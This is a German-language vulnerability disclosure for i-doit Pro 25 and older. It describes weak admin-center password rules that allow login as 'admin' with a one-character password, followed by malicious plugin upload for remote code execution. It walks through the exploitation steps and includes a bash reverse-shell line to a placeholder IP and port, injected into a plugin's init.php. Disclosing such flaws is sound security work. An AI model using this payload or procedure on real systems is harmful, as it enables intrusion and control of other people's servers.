
i-doit Pro 25 und älter sind anfällig für eine Schwachstelle durch schwache Passwortanforderungen im admin-center, die in Verbindung mit dem Upload bösartiger Plugins zu einer RCE-Schwachstelle führt. Diese Schwachstellen könnten es einem Angreifer ermöglichen, durch Brute-Force oder Erraten von Passwörtern leicht Zugang zum admin-center zu erhalten und ein bösartiges Plugin hochzuladen, um Remote-Code-Ausführung zu erreichen.
Beschreibung des Produkts: i-doit ist eine webbasierte Open-Source-IT-Dokumentation und CMDB (Configuration Management Database), entwickelt von synetics GmbH. i-doit Pro ist die kommerzielle Version der Software und erfordert eine kostenpflichtige Lizenz. Es bietet zusätzliche Funktionen, professionellen Support sowie regelmäßige Updates und Verbesserungen. Benutzer müssen eine Lizenz erwerben, um i-doit Pro zu nutzen; die Kosten variieren je nach Anzahl der Benutzer und der benötigten Funktionen.
Beschreibung der Schwachstelle: Wir haben festgestellt, dass diese Webanwendung schwache Passwortanforderungen bei der Erstellung von admin-center-Konten aufweist. Der Anwendungsbesitzer kann sogar ein Passwort mit mindestens 1 Zeichen zusammen mit dem Standardbenutzernamen „admin“ festlegen. Dies könnte es einem Angreifer ermöglichen, durch Brute-Force oder Erraten von Passwörtern leicht Zugang zum admin-center zu erhalten und ein bösartiges Plugin hochzuladen, um Remote-Code-Ausführung zu erreichen.
Betroffene Webseite: admin-center-Anmeldeseite + Plugin-Installation
Betroffener Parameter & Komponente: admin-center-Anmeldeseite + Plugin-Installation
Schritt 1: Da bei der Kontoerstellung für das admin-center keine Passwortanforderungen und keine Passwortkomplexität implementiert sind, können wir mit Brute-Force beginnen. Der folgende Screenshot zeigt, dass wir uns mit dem Benutzernamen „admin“ und dem Passwort „1“ anmelden können.


Schritt 2: Navigieren Sie zum Add-on-Tab und wählen Sie Upload.

Schritt 3: Es gibt einige Anforderungen, beispielsweise muss eine package.json vorhanden sein, und wir haben festgestellt, dass das Ziel async implementiert hat, um alle Klassen und Funktionen zu prüfen. Wir können jedoch ein passendes Plugin aus dem Kundenportal herunterladen und die init.php bearbeiten bzw. ergänzen. Dies ist der sicherste Weg, um einen Systemabsturz beim Auslösen des Payloads zu verhindern. Hinweis: Bitte setzen Sie ein & am Ende der Zeile, um einen Systemabsturz nach dem Auslösen des Payloads zu verhindern. Die init.php ist der beste Ort, um den Payload zu injizieren. Beispiel: exec ("/bin/bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1 &'");



Hinweis: Denken Sie daran, es wieder zu zippen und hochzuladen.


Hinweis: Klicken Sie auf Installieren und aktivieren Sie dann das ausgewählte Add-on.

Hinweis: Ihr Payload wird ausgelöst, wenn sich jemand anmeldet – das kann jeder sein.
